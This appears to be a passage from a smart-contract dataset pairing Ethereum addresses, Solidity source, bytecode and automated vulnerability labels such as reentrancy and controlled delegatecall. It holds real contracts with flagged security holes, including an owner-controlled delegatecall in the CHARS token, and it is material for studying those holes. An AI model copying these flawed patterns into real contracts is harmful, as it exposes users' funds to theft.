0e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e85573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eaa9190611d56565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107919190611d84565b6001600160a01b038316610f895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107f1565b6001600160a01b038216610fea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107f1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561108d57506001600160a01b03821660009081526005602052604090205460ff16155b80156110a957503360009081526005602052604090205460ff16155b6110b257600080fd5b6001600160a01b0383166111165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107f1565b6001600160a01b0382166111785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107f1565b600081116111da5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107f1565b600080546001600160a01b0385811691161480159061120757506000546001600160a01b03848116911614155b1561166c576009546001600160a01b03858116911614801561123757506007546001600160a01b03848116911614155b801561125c57506001600160a01b03831660009081526004602052604090205460ff16155b156114d65760105460ff166112b35760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107f1565b600f544214156112e1576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f5460b46112f19190611da1565b111561136b57600e5461130384610863565b61130d9084611da1565b111561136b5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107f1565b6001600160a01b03831660009081526006602052604090206001015460ff166113d3576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f5460b46113e39190611da1565b11156114b757600d5482111561143b5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107f1565b61144642601e611da1565b6001600160a01b038416600090815260066020526040902054106114b75760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107f1565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156114f0575060105460ff165b801561150a57506009546001600160a01b03858116911614155b1561166c5761151a42600f611da1565b6001600160a01b0385166000908152600660205260409020541061158c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107f1565b600061159730610863565b905080156116555760105462010000900460ff161561161a57600c54600954606491906115cc906001600160a01b0316610863565b6115d69190611db9565b6115e09190611dd8565b81111561161a57600c5460095460649190611603906001600160a01b0316610863565b61160d9190611db9565b6116179190611dd8565b90505b6000600b611629836003611db9565b6116339190611dd8565b905061163f8183611cbc565b915061164a81611879565b61165382611705565b505b47801561166557611665476116cb565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116ae57506001600160a01b03841660009081526004602052604090205460ff165b156116b7575060005b6116c485858584866118a3565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610791573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174957611749611cd3565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c69190611d39565b816001815181106117d9576117d9611cd3565b6001600160a01b0392831660209182029290920101526007546117ff9130911684610f27565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611838908590600090869030904290600401611dfa565b600060405180830381600087803b15801561185257600080fd5b505af1158015611866573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff0019166101001790556118953061dead8361104b565b506010805461ff0019169055565b60006118af83836118c5565b90506118bd868686846118e9565b505050505050565b60008083156118e25782156118dd5750600a546118e2565b50600b545b9392505050565b6000806118f684846119c6565b6001600160a01b038816600090815260026020526040902054919350915061191f908590611cbc565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461194f908390611da1565b6001600160a01b038616600090815260026020526040902055611971816119fa565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119b691815260200190565b60405180910390a3505050505050565b6000808060646119d68587611db9565b6119e09190611dd8565b905060006119ee8287611cbc565b96919550909350505050565b30600090815260026020526040902054611a15908290611da1565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086057600080fd5b8035611a9d81611a7d565b919050565b60008060408385031215611ab557600080fd5b8235611ac081611a7d565b946020939093013593505050565b60008060408385031215611ae157600080fd5b50508035926020909101359150565b600080600060608486031215611b0557600080fd5b8335611b1081611a7d565b92506020840135611b2081611a7d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b5a57600080fd5b823567ffffffffffffffff80821115611b7257600080fd5b818501915085601f830112611b8657600080fd5b813581811115611b9857611b98611b31565b8060051b604051601f19603f83011681018181108582111715611bbd57611bbd611b31565b604052918252848201925083810185019188831115611bdb57600080fd5b938501935b82851015611c0057611bf185611a92565b84529385019392850192611be0565b98975050505050505050565b600060208284031215611c1e57600080fd5b81356118e281611a7d565b600060208284031215611c3b57600080fd5b5035919050565b801515811461086057600080fd5b600060208284031215611c6257600080fd5b81356118e281611c42565b60008060408385031215611c8057600080fd5b8235611c8b81611a7d565b91506020830135611c9b81611a7d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cce57611cce611ca6565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cfd57611cfd611ca6565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d4b57600080fd5b81516118e281611a7d565b600080600060608486031215611d6b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d9657600080fd5b81516118e281611c42565b60008219821115611db457611db4611ca6565b500190565b6000816000190483118215151615611dd357611dd3611ca6565b500290565b600082611df557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e4a5784516001600160a01b031683529383019391830191600101611e25565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220473b05012a43d885ab1b40c5afdb28ab8be2d5e76f95a0f449d417f91d744f2964736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 114 |
0xf0F7EacA40422c163eC8471Ce49fF0810c4F00bF | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// @Name SafeMath
// @Desc Math operations with safety checks that throw on error
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// See https://github.com/ethereum/EIPs/issues/179
// ----------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// ----------------------------------------------------------------------------
// @title ERC20 interface
// @dev See https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// @title Basic token
// @dev Basic version of StandardToken, with no allowances.
// ----------------------------------------------------------------------------
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// ----------------------------------------------------------------------------
// @title Ownable
// ----------------------------------------------------------------------------
contract Ownable {
// Development Team Leader
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() { require(msg.sender == owner); _; }
}
// ----------------------------------------------------------------------------
// @title BlackList
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract BlackList is Ownable {
event Lock(address indexed LockedAddress);
event Unlock(address indexed UnLockedAddress);
mapping( address => bool ) public blackList;
modifier CheckBlackList { require(blackList[msg.sender] != true); _; }
function SetLockAddress(address _lockAddress) external onlyOwner returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
require(blackList[_lockAddress] != true);
blackList[_lockAddress] = true;
emit Lock(_lockAddress);
return true;
}
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool) {
require(blackList[_unlockAddress] != false);
blackList[_unlockAddress] = false;
emit Unlock(_unlockAddress);
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// @title Standard ERC20 token
// @dev Implementation of the basic standard token.
// https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ----------------------------------------------------------------------------
// @title MultiTransfer Token
// @dev Only Admin
// ----------------------------------------------------------------------------
contract MultiTransferToken is StandardToken, Ownable {
function MultiTransfer(address[] _to, uint256[] _amount) onlyOwner public returns (bool) {
require(_to.length == _amount.length);
uint256 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
balances[msg.sender] = balances[msg.sender].sub(_amount[ui]);
balances[_to[ui]] = balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
return true;
}
}
// ----------------------------------------------------------------------------
// @title Burnable Token
// @dev Token that can be irreversibly burned (destroyed).
// ----------------------------------------------------------------------------
contract BurnableToken is StandardToken, Ownable {
event BurnAdminAmount(address indexed burner, uint256 value);
function burnAdminAmount(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit BurnAdminAmount(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
// ----------------------------------------------------------------------------
// @title Mintable token
// @dev Simple ERC20 Token example, with mintable token creation
// Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
// ----------------------------------------------------------------------------
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
modifier cannotMint() { require(mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable token
// @dev StandardToken modified with pausable transfers.
// ----------------------------------------------------------------------------
contract PausableToken is StandardToken, Pausable, BlackList {
function transfer(address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------
// @title MyToken
// @dev MyToken
// ----------------------------------------------------------------------------
contract MyToken is StandardToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _initial_supply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply_ = _initial_supply;
balances[msg.sender] = _initial_supply;
}
}
contract UpgradableToken is MyToken, Ownable {
StandardToken public functionBase;
constructor()
MyToken("Upgradable Token", "UGT", 18, 10e28) public
{
functionBase = new StandardToken();
}
function setFunctionBase(address _base) onlyOwner public {
require(_base != address(0) && functionBase != _base);
functionBase = StandardToken(_base);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(address(functionBase).delegatecall(0xa9059cbb, _to, _value));
return true;
}
}
// ----------------------------------------------------------------------------
// @Project_CHARS(Smart_Charging_Platform)
// @Creator_BICASlab(bicaslab@gmail.com)
// @Source_Code_Verification(Noah_Kim)
// ----------------------------------------------------------------------------
contract CHARS is PausableToken, MintableToken, BurnableToken, MultiTransferToken {
string public name = "CHARS";
string public symbol = "CHARSV3";
uint256 public decimals = 18;
} | 0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde03146101605780630896937e146101ea578063095ea7b31461027857806318160ddd1461029c57806323b872dd146102c3578063313ce567146102ed5780633f4ba83a1461030257806340c10f19146103195780634838d1651461033d5780635c975abb1461035e578063661884631461037357806370a082311461039757806376227f3b146103b85780637d64bcb4146103d05780638456cb59146103e55780638da5cb5b146103fa57806395d89b411461042b578063a9059cbb14610440578063c201df9714610464578063c286f3d914610485578063d73dd623146104a6578063dd62ed3e146104ca575b600080fd5b34801561014357600080fd5b5061014c6104f1565b604080519115158252519081900360200190f35b34801561016c57600080fd5b506101756104fa565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b506040805160206004803580820135838102808601850190965280855261014c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105889650505050505050565b34801561028457600080fd5b5061014c600160a060020a03600435166024356107a7565b3480156102a857600080fd5b506102b16107f4565b60408051918252519081900360200190f35b3480156102cf57600080fd5b5061014c600160a060020a03600435811690602435166044356107fa565b3480156102f957600080fd5b506102b1610849565b34801561030e57600080fd5b5061031761084f565b005b34801561032557600080fd5b5061014c600160a060020a03600435166024356108c7565b34801561034957600080fd5b5061014c600160a060020a03600435166109b8565b34801561036a57600080fd5b5061014c6109cd565b34801561037f57600080fd5b5061014c600160a060020a03600435166024356109dd565b3480156103a357600080fd5b506102b1600160a060020a0360043516610a23565b3480156103c457600080fd5b50610317600435610a3e565b3480156103dc57600080fd5b5061014c610b16565b3480156103f157600080fd5b50610317610b7c565b34801561040657600080fd5b5061040f610bf9565b60408051600160a060020a039092168252519081900360200190f35b34801561043757600080fd5b50610175610c08565b34801561044c57600080fd5b5061014c600160a060020a0360043516602435610c63565b34801561047057600080fd5b5061014c600160a060020a0360043516610ca9565b34801561049157600080fd5b5061014c600160a060020a0360043516610d38565b3480156104b257600080fd5b5061014c600160a060020a0360043516602435610dfe565b3480156104d657600080fd5b506102b1600160a060020a0360043581169060243516610e44565b60055460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105805780601f1061055557610100808354040283529160200191610580565b820191906000526020600020905b81548152906001019060200180831161056357829003601f168201915b505050505081565b60035460009081908190600160a060020a031633146105a657600080fd5b83518551146105b457600080fd5b5060009050805b84518210156106285784516000908690849081106105d557fe5b60209081029091010151600160a060020a031614156105f357600080fd5b61061b848381518110151561060457fe5b60209081029091010151829063ffffffff610e6f16565b60019092019190506105bb565b3360009081526020819052604090205481111561064457600080fd5b600091505b845182101561079c5761068a848381518110151561066357fe5b6020908102909101810151336000908152918290526040909120549063ffffffff610e7e16565b3360009081526020819052604090205583516106f6908590849081106106ac57fe5b9060200190602002015160008088868151811015156106c757fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610e6f16565b600080878581518110151561070757fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908390811061073857fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206112b4833981519152868581518110151561077257fe5b906020019060200201516040518082815260200191505060405180910390a3600190910190610649565b506001949350505050565b60035460009060a060020a900460ff16156107c157600080fd5b3360009081526004602052604090205460ff161515600114156107e357600080fd5b6107ed8383610e90565b9392505050565b60015490565b60035460009060a060020a900460ff161561081457600080fd5b3360009081526004602052604090205460ff1615156001141561083657600080fd5b610841848484610ef6565b949350505050565b60085481565b600354600160a060020a0316331461086657600080fd5b60035460a060020a900460ff16151561087e57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146108e157600080fd5b60055460ff16156108f157600080fd5b600154610904908363ffffffff610e6f16565b600155600160a060020a038316600090815260208190526040902054610930908363ffffffff610e6f16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206112b48339815191529181900360200190a350600192915050565b60046020526000908152604090205460ff1681565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156109f757600080fd5b3360009081526004602052604090205460ff16151560011415610a1957600080fd5b6107ed838361105b565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a03163314610a5557600080fd5b33600090815260208190526040902054811115610a7157600080fd5b33600090815260208190526040902054610a91908263ffffffff610e7e16565b33600090815260208190526040902055600154610ab4908263ffffffff610e7e16565b60015560408051828152905133917fa0f3dea10c8bf26d7f1b6b0cf33166195f48616c562c681b49eaaa2423894d00919081900360200190a260408051828152905160009133916000805160206112b48339815191529181900360200190a350565b600354600090600160a060020a03163314610b3057600080fd5b60055460ff1615610b4057600080fd5b6005805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a03163314610b9357600080fd5b60035460a060020a900460ff1615610baa57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105805780601f1061055557610100808354040283529160200191610580565b60035460009060a060020a900460ff1615610c7d57600080fd5b3360009081526004602052604090205460ff16151560011415610c9f57600080fd5b6107ed838361114b565b600354600090600160a060020a03163314610cc357600080fd5b600160a060020a03821660009081526004602052604090205460ff161515610cea57600080fd5b600160a060020a038216600081815260046020526040808220805460ff19169055517f0be774851955c26a1d6a32b13b020663a069006b4a3b643ff0b809d3182605729190a2506001919050565b600354600090600160a060020a03163314610d5257600080fd5b600160a060020a0382161515610d6757600080fd5b600354600160a060020a0383811691161415610d8257600080fd5b600160a060020a03821660009081526004602052604090205460ff16151560011415610dad57600080fd5b600160a060020a038216600081815260046020526040808220805460ff19166001179055517fc1b5f12cea7c200ad495a43bf2d4c7ba1a753343c06c339093937849de84d9139190a2506001919050565b60035460009060a060020a900460ff1615610e1857600080fd5b3360009081526004602052604090205460ff16151560011415610e3a57600080fd5b6107ed838361121a565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828201838110156107ed57fe5b600082821115610e8a57fe5b50900390565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610f0d57600080fd5b600160a060020a038416600090815260208190526040902054821115610f3257600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610f6257600080fd5b600160a060020a038416600090815260208190526040902054610f8b908363ffffffff610e7e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610fc0908363ffffffff610e6f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611002908363ffffffff610e7e16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206112b4833981519152929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156110b057336000908152600260209081526040808320600160a060020a03881684529091528120556110e5565b6110c0818463ffffffff610e7e16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a038316151561116257600080fd5b3360009081526020819052604090205482111561117e57600080fd5b3360009081526020819052604090205461119e908363ffffffff610e7e16565b3360009081526020819052604080822092909255600160a060020a038516815220546111d0908363ffffffff610e6f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206112b48339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461124e908363ffffffff610e6f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058202e833219aac437b66cd2bea5a723cb32cc8f606d267f7a6a63471c0b2a770ad80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}} | 115 |
0x5943910C2e88480584092C7B95A3FD762cAbc699 | /**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Part: IRocketPool
interface IRocketPool {
function getBalance() external view returns (uint256);
function getMaximumDepositPoolSize() external view returns (uint256);
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint256);
function getDepositEnabled() external view returns (bool);
function getMinimumDeposit() external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
